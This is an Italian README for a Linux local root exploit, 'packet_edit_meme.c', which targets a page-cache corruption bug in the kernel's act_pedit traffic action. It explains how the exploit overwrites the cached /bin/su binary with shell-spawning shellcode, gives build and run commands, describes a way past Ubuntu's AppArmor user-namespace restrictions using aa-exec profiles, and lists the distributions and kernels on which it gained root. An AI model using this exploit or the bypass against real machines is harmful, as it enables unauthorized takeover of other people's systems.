
PACKET_EDIT_MEME.c (noto anche come CVE-2026-46331): ancora un incubo di avvelenamento della cache di pagina
net/sched act_pedit corruzione della cache di pagina COW parziale (colpevole 899ee91156e5,
presente dalla v5.18 .. corretta in v7.1-rc7). packet_edit_meme.c lo trasforma in root locale non privilegiato:
un figlio userns CAP_NET_ADMIN sovrascrive la voce ELF cache di setuid-root /bin/su con shellcode setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # Ubuntu limitato da AppArmor: eseguire prima il bypass di aa-exec
| Distro | Kernel | Flag | Risultato |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (nessuno) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (nessuno) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | FALLITO |
RHEL / Debian: l'userns non privilegiato è aperto per impostazione predefinita, nessun flag necessario. RHEL non include
cls_basic / em_meta, quindi il primitive ricade automaticamente su matchall.
Ubuntu nega l'userns non privilegiato non confinato tramite due sysctl:
kernel.apparmor_restrict_unprivileged_userns # nega la creazione di userns non confinati
kernel.apparmor_restrict_unprivileged_unconfined # forza il change_profile non confinato a STACK,
# quindi un profilo permissivo di aa-exec non può
# eliminare la restrizione userns
--ubuntu si riesegue tramite aa-exec -p {trinity,chrome,flatpak} (profili che portano una regola userns,).
24.04.4 : userns=1, unconfined=0 -> il bypass di aa-exec FUNZIONA
26.04 : userns=1, unconfined=1 -> il bypass di aa-exec CHIUSO